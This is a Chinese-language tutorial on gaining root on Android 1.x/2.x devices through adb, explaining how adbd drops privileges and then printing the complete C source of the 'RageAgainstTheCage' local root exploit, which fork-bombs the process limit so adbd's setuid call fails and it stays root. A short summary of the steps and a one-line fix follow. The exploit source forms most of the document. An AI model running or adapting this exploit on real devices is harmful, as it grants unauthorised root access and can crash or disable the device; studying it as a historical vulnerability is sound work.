本文介绍利用adb获取Android系统的ROOT权限

概述

Android启动后init进程会读取init.rc文件并执行service adbd,从而启动adb的守护进程。故此时的adb属于root权限。

在它启动的过程中,它会读取系统的ro.secure标签。如果其为true,则将自身降权至shell,降权的方法也很简单。

1
2
setuid(AID_SHELL)
setgid(AID_SHELL)

那我们是否有办法在adb setuid和setgid的时候做手脚从而让它降权失效呢?这样的话adb就会以root权限继续执行。

Tips

Linux中的每个用户都有可以同时运行的进程上限。如果已打上限,那么新的进程便会创建失败

adb source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int adb\_main(int is\_daemon)
{
......
property\_get("ro.secure", value, "");
if (strcmp(value, "1") == 0) {
// don't run as root if ro.secure is set...
secure = 1;
......
}

if (secure) {
......
setgid(AID\_SHELL);
setuid(AID\_SHELL);
......
}
}

RageAginstTheCage

Source code如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
/* android 1.x/2.x adb setuid() root exploit
* (C) 2010 The Android Exploid Crew
*
* Needs to be executed via adb -d shell. It may take a while until
* all process slots are filled and the adb connection is reset.
*
* !!!This is PoC code for educational purposes only!!!
* If you run it, it might crash your device and make it unusable!
* So you use it at your own risk!
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>


void die(const char *msg)
{
perror(msg);
exit(errno);
}

pid_t find_adb()
{
char buf[256];
int i = 0, fd = 0;
pid_t found = 0;

for (i = 0; i < 32000; ++i) {
sprintf(buf, "/proc/%d/cmdline", i);
if ((fd = open(buf, O_RDONLY)) < 0)
continue;
memset(buf, 0, sizeof(buf));
read(fd, buf, sizeof(buf) - 1);
close(fd);
if (strstr(buf, "/sbin/adb")) {
found = i;
break;
}
}
return found;
}


void restart_adb(pid_t pid)
{
kill(pid, 9);
}


void wait_for_root_adb(pid_t old_adb)
{
pid_t p = 0;

for (;;) {
p = find_adb();
if (p != 0 && p != old_adb)
break;
sleep(1);
}
sleep(5);
kill(-1, 9);
}


int main(int argc, char **argv)
{
pid_t adb_pid = 0, p;
int pids = 0, new_pids = 1;
int pepe[2];
char c = 0;
struct rlimit rl;

printf("[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n");
printf("[*] checking NPROC limit ...\n");

if (getrlimit(RLIMIT_NPROC, &rl) < 0)
die("[-] getrlimit");

if (rl.rlim_cur == RLIM_INFINITY) {
printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n");
exit(1);
}

printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max);
printf("[*] Searching for adb ...\n");

adb_pid = find_adb();

if (!adb_pid)
die("[-] Cannot find adb");

printf("[+] Found adb as PID %d\n", adb_pid);
printf("[*] Spawning children. Dont type anything and wait for reset!\n");
printf("[*]\n[*] If you like what we are doing you can send us PayPal money to\n"
"[*] 7-4-3-C@web.de so we can compensate time, effort and HW costs.\n"
"[*] If you are a company and feel like you profit from our work,\n"
"[*] we also accept donations > 1000 USD!\n");
printf("[*]\n[*] adb connection will be reset. restart adb server on desktop and re-login.\n");

sleep(5);

if (fork() > 0)
exit(0);

setsid();
pipe(pepe);

/* generate many (zombie) shell-user processes so restarting
* adb's setuid() will fail.
* The whole thing is a bit racy, since when we kill adb
* there is one more process slot left which we need to
* fill before adb reaches setuid(). Thats why we fork-bomb
* in a seprate process.
*/
if (fork() == 0) {
close(pepe[0]);
for (;;) {
if ((p = fork()) == 0) {
exit(0);
} else if (p < 0) {
if (new_pids) {
printf("\n[+] Forked %d childs.\n", pids);
new_pids = 0;
write(pepe[1], &c, 1);
close(pepe[1]);
}
} else {
++pids;
}
}
}

close(pepe[1]);
read(pepe[0], &c, 1);


restart_adb(adb_pid);

if (fork() == 0) {
fork();
for (;;)
sleep(0x743C);
}

wait_for_root_adb(adb_pid);
return 0;
}

逻辑比较简单,如下:

  • 无限循环创建子进程,并杀掉其父进程,让之变为僵尸进程
  • 达到进程上限数
  • Kill adb,此时adbd会重启adb
  • adb启动后读取ro.secure,发现true,启动降权策略
  • 但因为用户当前的进程数已达上限,降权失败,继续维持Root权限
  • 故此时,我们便可利用adb将su放置于/system/bin或者/system/xbin

漏洞修复

在adb中加一行判断即可,如果setuid或者setgid失败,则exit

资料